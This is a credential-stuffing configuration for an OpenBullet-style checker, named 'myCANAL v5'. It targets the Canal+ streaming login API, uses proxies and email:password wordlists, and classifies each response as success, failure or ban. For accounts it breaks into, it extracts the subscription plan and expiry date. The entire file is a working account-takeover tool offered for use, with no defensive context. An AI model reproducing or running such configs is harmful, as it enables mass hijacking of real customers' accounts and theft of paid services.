[SETTINGS] { "Name": "myCANAL v5", "SuggestedBots": 200, "MaxCPM": 0, "LastModified": "2020-11-16T09:34:12.9362973+04:00", "AdditionalInfo": "", "Author": "", "Version": "1.4.4 [Anomaly]", "IgnoreResponseErrors": false, "MaxRedirects": 8, "NeedsProxies": true, "OnlySocks": false, "OnlySsl": false, "MaxProxyUses": 0, "BanProxyAfterGoodStatus": false, "EncodeData": false, "AllowedWordlist1": "MailPass", "AllowedWordlist2": "MailPass", "DataRules": [], "CustomInputs": [], "CaptchaUrl": "", "Base64": "", "Grayscale": false, "RemoveLines": false, "RemoveNoise": false, "Dilate": false, "Threshold": 1.0, "DiffKeep": 0.0, "DiffHide": 0.0, "Saturate": false, "Saturation": 0.0, "Transparent": false, "Contour": false, "OnlyShow": false, "ContrastGamma": false, "Contrast": 1.0, "Gamma": 1.0, "Brightness": 1.0, "RemoveLinesMin": 0, "RemoveLinesMax": 0, "Crop": false, "ForceHeadless": false, "AlwaysOpen": false, "AlwaysQuit": false, "DisableNotifications": false, "CustomUserAgent": "", "RandomUA": false, "CustomCMDArgs": "" } [SCRIPT] #login REQUEST POST "https://pass-api-v2.canal-plus.com/services/apipublique/login" CONTENT "vect=INTERNET&media=IOS%20TAB&portailId=OQaRQJQkSdM.&distributorId=C22021&analytics=true&trackingPub=true&email=&password=" CONTENTTYPE "application/x-www-form-urlencoded" HEADER "accept: */*" HEADER "user-agent: myCANAL/4.6.2 (iPad; iOS 13.5; Scale/2.00)" #verify_login KEYCHECK KEYCHAIN Failure OR KEY "" Contains "401" KEY "" Contains "400" KEY "errorCode\":8,\"errorMessage\":\"Info : Compte bloque" KEYCHAIN Ban OR KEY "" Contains "429" KEY "" Contains "403" KEY "" Contains "500" KEY "" Contains "503" KEYCHAIN Success OR KEY "{\"response\":{\"errorCode\":66,\"errorMessage" KEY "{\"response\":{\"errorCode\":49,\"errorMessage\":\"" KEY "{\"response\":{\"errorCode\":0,\"errorMessage\":\"\",\"passId\":\"" KEY "{\"response\":{\"errorCode\":9,\"errorMessage\":\"Info : " KEYCHAIN Custom "CUSTOM" OR KEY "isSubscriber\":false" #token PARSE "" JSON "passToken" -> VAR "token" #subscription REQUEST GET "https://api-client.canal-plus.com/self/persons/current/subscriptions" COOKIE "s_token: " HEADER "Accept: */*" HEADER "user-agent: myCANAL/4.6.2 (iPad; iOS 13.5; Scale/2.00)" #free_check KEYCHECK BanOnToCheck=FALSE KEYCHAIN Custom "FREE" OR KEY "" DoesNotContain "commercialLabel" #plan PARSE "" JSON "commercialLabel" Recursive=TRUE -> CAP "Plan" #end_date PARSE "" JSON "endDate" -> VAR "1" #fun_year FUNCTION Substring "0" "4" "<1>" -> VAR "4" #mun_day_month PARSE "<1>" LR "<4>" "" -> VAR "3" #function_month FUNCTION Substring "0" "2" "<3>" -> VAR "2" #day PARSE "<3>" LR "<2>" "" -> VAR "1" #Expiry FUNCTION Constant "<1>/<2>/<4>" -> CAP "Expires On"